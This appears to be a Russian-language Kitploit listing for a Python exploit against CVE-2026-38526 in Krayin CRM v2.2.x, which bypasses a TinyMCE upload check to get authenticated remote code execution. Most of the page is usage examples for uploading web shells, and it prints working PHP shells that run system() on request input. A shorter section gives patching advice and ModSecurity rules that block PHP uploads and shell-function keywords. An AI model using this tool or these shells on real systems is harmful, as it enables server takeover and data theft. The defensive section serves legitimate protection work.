KrayinCRM-RCE-Exploit-CVE-2026-38526 — CVE-2026-38526 эксплойт для Krayin CRM v2.2.x - Аутентифицированное RCE через обход загрузки файлов TinyMCE. Включает интерактивную оболочку, полезные нагрузки различных типов, автоматическую генерацию оболочки и верификацию. Автор: Sudeepa Wanigarathna. Только для авторизованного тестирования. | Kitploit

Параметр	Описание
`-t`, `--target`	URL цели (например, `http://192.168.1.100`)
`-u`, `--username`	Имя администратора или email
`-p`, `--password`	Пароль администратора

# Базовая эксплуатация со сгенерированной оболочкой
python3 exploit.py -t http://target.com -u [email protected] -p password

# Загрузка пользовательского PHP-файла оболочки
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Генерация расширенной оболочки с интерактивным режимом
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Генерация файла оболочки без эксплуатации
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Использование с прокси для тестирования/отладки
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# Вывод JSON для автоматизации
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Подробный режим с пользовательским таймаутом
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# Пользовательский User-Agent и заголовки
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

Базовая оболочка (basic) Простое выполнение команд с помощью функции system().
```
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
```
Расширенная оболочка (advanced) Функционально богатая оболочка с:
- Несколькими методами выполнения команд
- Красивым веб-интерфейсом, напоминающим терминал
- Поддержкой истории команд
- Отображением текущего пользователя и имени хоста
Минимальная оболочка (minimal) Минимальный след для скрытности.
```
<?php system($_GET["cmd"]); ?>
```
Файловый менеджер (file_manager) Полноценный интерфейс управления файлами:
- Загрузка файлов
- Удаление файлов
- Создание каталогов
- Навигация
- Просмотр прав доступа к файлам
Пользовательская оболочка (custom) Используйте собственный PHP-файл оболочки с параметром -f.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Опция	Описание	По умолчанию
`--timeout`	Таймаут запроса в секундах	30
`--retry`	Количество повторных попыток	3
`--retry-delay`	Задержка между повторными попытками в секундах	2
`--user-agent`	Пользовательская строка User-Agent	Браузерный UA по умолчанию
`--header`	Пользовательские HTTP-заголовки (Ключ: Значение)	Нет
`--verify-ssl`	Проверять SSL-сертификаты	False
`--proxy`	URL HTTP/HTTPS прокси	Нет
`-v`, `--verbose`	Включить отладочный вывод	False
`-q`, `--quiet`	Подавить весь вывод	False

Немедленные действия:

# Обновление до пропатченной версии
composer update krayin/crm

# Временное отключение доступа администратора
# Удаление ненужных учётных записей администратора
# Смена всех паролей администраторов

Усиление защиты загрузки файлов:

// Валидация типа файла по содержимому, а не только по расширению
// Реализация политики безопасности содержимого (CSP)
// Использование веб-брандмауэра (WAF)
// Включение сканирования загружаемых файлов

Контроль доступа:

# Ограничение IP-адресов администраторов в .htaccess
# Внедрение MFA для учётных записей администраторов
# Регулярный аудит администраторов
# Политика таймаута сессии

Правила WAF (ModSecurity):

# Блокировка подозрительных загрузок файлов
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"

# Блокировка веб-оболочек
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"

ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», И ЛЮБЫЕ ЯВНЫЕ
ИЛИ ПОДРАЗУМЕВАЕМЫЕ ГАРАНТИИ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ПОДРАЗУМЕВАЕМЫМИ
ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ И ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЁННОЙ ЦЕЛИ,
ОТКЛОНЯЮТСЯ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОР НЕ НЕСЁТ ОТВЕТСТВЕННОСТИ
ЗА ЛЮБОЙ ПРЯМОЙ, КОСВЕННЫЙ, СЛУЧАЙНЫЙ, ОСОБЫЙ, ПОКАЗАТЕЛЬНЫЙ ИЛИ
КОСВЕННЫЙ УЩЕРБ, ВОЗНИКШИЙ В РЕЗУЛЬТАТЕ ИСПОЛЬЗОВАНИЯ ЭТОГО ПРОГРАММНОГО
ОБЕСПЕЧЕНИЯ.

ИСПОЛЬЗОВАНИЕ ЭТОГО ИНСТРУМЕНТА ДЛЯ ЛЮБЫХ ЦЕЛЕЙ, КРОМЕ АВТОРИЗОВАННОГО
ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ, НЕЗАКОННО И НЕЭТИЧНО. АВТОР НЕ НЕСЁТ
ОТВЕТСТВЕННОСТИ ЗА НЕСАНКЦИОНИРОВАННОЕ ИСПОЛЬЗОВАНИЕ ИЛИ ЛЮБОЙ
УЩЕРБ, ПРИЧИНЁННЫЙ ЭТИМ ИНСТРУМЕНТОМ.

# Включить подробное логирование
python3 exploit.py -t http://target.com -u admin -p pass -v

# С прокси (Burp Suite и т.д.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080

# Краткая справка
python3 exploit.py -t URL -u USER -p PASS [ОПЦИИ]

# Опции:
#   -f FILE           Загрузить пользовательскую оболочку
#   --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
#   -i                Интерактивный режим
#   --proxy URL       HTTP-прокси
#   -v                Подробный вывод
#   -o json           Вывод в JSON
#   --generate-only   Создать оболочку без эксплуатации
#   --timeout SEC     Таймаут запроса
#   --retry N         Число повторных попыток
#   --user-agent UA   Пользовательский User-Agent
#   --header "K: V"   Пользовательские заголовки
#   --verify-ssl      Проверять SSL-сертификаты
#   -q, --quiet       Подавить вывод

CVE ID	CVE-2026-38526
Затронутое ПО	Krayin CRM v2.2.x
Тип уязвимости	Аутентифицированное удаленное выполнение кода (RCE)
Требуется аутентификация	Да (доступ уровня администратора)
Воздействие	Полная компрометация системы
Оценка CVSS	8.8 (Высокий)

KrayinCRM-RCE-Exploit-CVE-2026-38526

Популярное

Описание

🚨 Детали уязвимости

Затронутые версии

✨ Возможности

📦 Установка

Требования

Быстрая установка

Файл требований (`requirements.txt`)

🚀 Использование

Основной синтаксис команды

Обязательные параметры

Примеры распространённого использования

🐚 Типы оболочек

📝 Форматы вывода

Текстовый формат (по умолчанию)

Формат JSON (`-o json`)

Тихий формат (`-q`, `--quiet`)

⚙️ Дополнительные опции

Пример пользовательских заголовков

🔒 Обнаружение и предотвращение

Признаки компрометации (IoC)

Меры предотвращения

🛡️ Ответственное раскрытие

Хронология

📜 Отказ от ответственности

🔧 Устранение неполадок

Частые проблемы

Режим отладки

🤝 Вклад

📚 Ссылки

⭐ Поддержка

📊 Краткая справочная карточка команд